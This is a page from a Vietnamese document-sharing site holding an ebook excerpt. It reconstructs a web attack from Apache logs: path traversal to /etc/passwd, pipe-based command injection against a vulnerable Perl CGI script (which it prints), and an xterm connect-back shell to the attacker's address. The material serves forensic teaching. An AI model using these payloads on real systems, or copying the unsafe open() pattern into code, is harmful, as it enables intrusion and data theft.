1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 200 pdf

6 117 0

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Nội dung

Group (d) 10.0.1.21 - - [31/Oct/2001:03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008 10.0.1.21 - - [31/Oct/2001:03:05:31 +0530] "GET /index.cgi?page=index.cgi HTTP/1.0" 200 358 Group (e) 10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET /index.cgi?page=/ / / / / / / / / /etc/passwd HTTP/1.0" 200 723 Group (f) 10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+- la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228 10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+- display+10.0.1.21:0.0+%26| HTTP/1.0" 200 Chúng ta đi theo những chuyên gia để thấy hacker làm thế nào Site www.acme-art.com chạy Apache 1.3.12 trên hệ thống Linux . Những người lập trình của Acme Art sử dụng Perl CGI script để xây dựng website trực tuyến và chạy nó. Những log files cho chúng ta thấy sự tấn công bắt nguồn từ địa chỉ 10.0.1.21. lúc 3:02 A.M., trước hết attacker duyệt trang web. Những log files có năm mục đầu tiên (group a) chỉ ra rằng attacker đang xem trang chủ của website và 1 số ít hình ảnh trong đó : Code: 10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008 10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200 3452 10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /fl_thumb.jpg HTTP/1.0" 200 8468 10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200 6912 10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200 7891 Nếu chúng ta tái hiện lại hành động của hacker , cho chúng ta nhìn thấy từ điểm của hacker đang duyệt web : Figure 0-1. Acme Art, Inc.'s home page Bốn mục tiếp theo của nhóm b được tạo ra do hacker click vào một số liên kết trên trang chủ : Code: 10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0" 200 610 10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640 10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoe1.shtml HTTP/1.0" 200 652 10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /tahoe1.jpg HTTP/1.0" 200 36580 Bức ảnh thứ 2 cho ta thấy attacker đã click vào link "Golden Sunset, in oil" từ trang chủ Acme Art's. Figure 0-2. Clicking on a link Tại điểm này thật khó xác định chủ ý của hacker bởi vì anh ta ko làm gì khác thường . Mục tiếp theo ta thấy một sự thử truy cập vào thư mục /cgi-bin/ . Web server từ chối yêu cầu này vì kết quả trả lại báo lỗi HTTP 403 error . Mã đáp lại : Code: 10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272 Bây giờ hacker bắt đầu di chuyển . Nó có vẻ như anh ta đã khám phá ra sự bất thường đầu tiên . Trước hết anh ta xem URL : http://www.acme-art.com/index.cgi . Một lát sau đó phát hành một yêu cầu cho http://www.acme- art.com/index.cgi?page=index.cgi. Attacker ko duyệt theo đúng link của trang web mà thay đổi nó như trên , kết quả được trả về trên trình duyệt của anh ta (source code của file index.cgi bị lộ ra): Figure 0-3. Source code of index.cgi disclosed Màn hình trình duyệt chứa bộ mã nguồn của "index.cgi script!" . Attacker thấy rằng index.cgi chấp nhận một tên file như một tham số trình bày nội dung của file đó. Anh ta sử dụng chính index.cgi để trình bày mã nguồn của chính nó. Xem xét mã nguồn của file index.cgi lộ ra chỗ yếu như sau : Code: 01: #!/usr/bin/perl 02: # Perl script to display a page back as requested by the argument 03: 04: require " /cgi-bin/cgi-lib.pl"; 05: 06: &ReadParse(*input); 07: 08: $filename = $input{page} ; 09: if($filename eq "") { 10: $filename = "main.html"; 11: } 12: 13: print &PrintHeader; 14: 15: $filename = "/usr/local/apache/htdocs/" . $filename; 16: open(FILE, $filename); 17: while(<FILE>) { 18: print $_; 19: } 20: close(FILE); Chỗ yếu ở trong sự kiểm tra của những tham số được chuyển qua trên file index.cgi. Tên file được chuyển qua trong khi một tham số từ URL được bắt trong biến $filename dòng số 8 , nối vào đường dẫn tuyệt đối : "/usr/local/apache/htdocs" tại dòng 15 và được open tại dòng 16. Trong số các thứ xuất hiện đầu tiên từ attacker là khả năng khai thác những arbitrary files (file hệ thống) trên Web server . Và attacker đã thực hiện chính xác . Những điều này được thấy trong những log files tiếp theo (group e) : Code: 10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET /index.cgi page=/ / / / / / / / / /etc/passwd HTTP/1.0" 200 723 Ở đây anh ta sử dụng trình duyệt để gửi yêu cầu Code: http://www.acme-art.com/index.cgi?page=/ / / / / / / / / /etc/passwd File passwd được trả lại và được hiển thị trên trình duyệt (ảnh 4) : Figure 0-4. Attacker recovering the /etc/passwd file from Acme Art, Inc.'s server Nhưng hành động hack ko chấm dứt ở đây . Một chỗ yếu ẩn dấu nữa được khám phá. Sử dụng một số kiến thức của Unix và Perl . Attacker thực thi một câu lệnh (arbitrary commands) đến Web server . Hai yêu cầu tiếp theo được làm bởi attacker (group f), minh họa khả năng này : Code: 10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+- la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228 10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+- display+10.0.1.21:0.0+%26| HTTP/1.0" 200 Thay vào đó việc cố gắng mở những file điều khiển (arbitrary files) . Attacker sử dụng đặc tính pipe character " | " trong tham số file , đi theo những lệnh mà anh ta lựa chọn. Bây giờ thay vì mở file , Perl mở ra 1 file handle , mà nhận đầu ra là được phát sinh bởi những lệnh chỉ rõ trong tham số. Hai yêu cầu được gửi bởi attacker , trước hết : Code: http://www.acme-art.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| Attacker chạy 3 lệnh Unix cùng nhau : Code: ls -la / id which xterm Những đặc tính pipe characters quanh tham số "page=" . Lệnh được phân ra với đặc tính HEX "0A," mà đây là line-feed character. Ảnh 5 bộc lộ ra những cái gì được hiển thị trên trình duyệt của attacker : Figure 0-5. Output of "ls –la," "id," and "which xterm" Kết quả hiển thị cho thấy liệt kê thư mục root của server từ câu lệnh "ls -la /" , kết quả của việc sử dụng lệnh "id" từ file index.cgi , và đường dẫn đến xterm từ câu lệnh "which xterm" . Attacker bây giờ có thể chạy những lệnh (arbitrary commands) tác động đến Web server dưới quyền của "nobody" account. Sau đó anh ta quyết định sử dụng xterm để kiếm quyền truy nhập (shell access) tới Web server . Yêu cầu cuối cùng thu được trên Web server của attacker là dùng xterm để tạo một kết nối (connection back) tới hệ thống của anh ta bởi việc gửi yêu cầu sau : Code: http://www.acme-art.com/index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26| Câu lệnh dịch ra là : "xterm -display 10.0.1.21:0.0 &." Lệnh trên xterm được thực thi tới cửa sổ xterm của attacker về địa chỉ 10.0.1.21:0.0. Ảnh 6 biểu hiện attacker thấy gì : Figure 0-6. Attacker launching an xterm and gaining interactive shell access Attacker bây giờ có sự truy nhập tới hệ thống của Acme Art, Inc.'s với mức đầy đủ . Web server log kết thúc tại đây , nhưng chúng ta đã học được cái gì chúng ta cần . - [31/Oct /2001 :03:02:47 +0530] "GET / HTTP/1.0" 200 3008 10.0.1.21 - - [31/Oct /2001 :03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200 3452 10.0.1.21 - - [31/Oct /2001 :03:02:47. HTTP/1.0" 200 8468 10.0.1.21 - - [31/Oct /2001 :03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200 6912 10.0.1.21 - - [31/Oct /2001 :03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200. 10.0.1.21 - - [31/Oct /2001 :03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008 10.0.1.21 - - [31/Oct /2001 :03:05:31 +0530] "GET /index.cgi?page=index.cgi HTTP/1.0" 200 358 Group

Ngày đăng: 04/07/2014, 12:20

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

  • Đang cập nhật ...

TÀI LIỆU LIÊN QUAN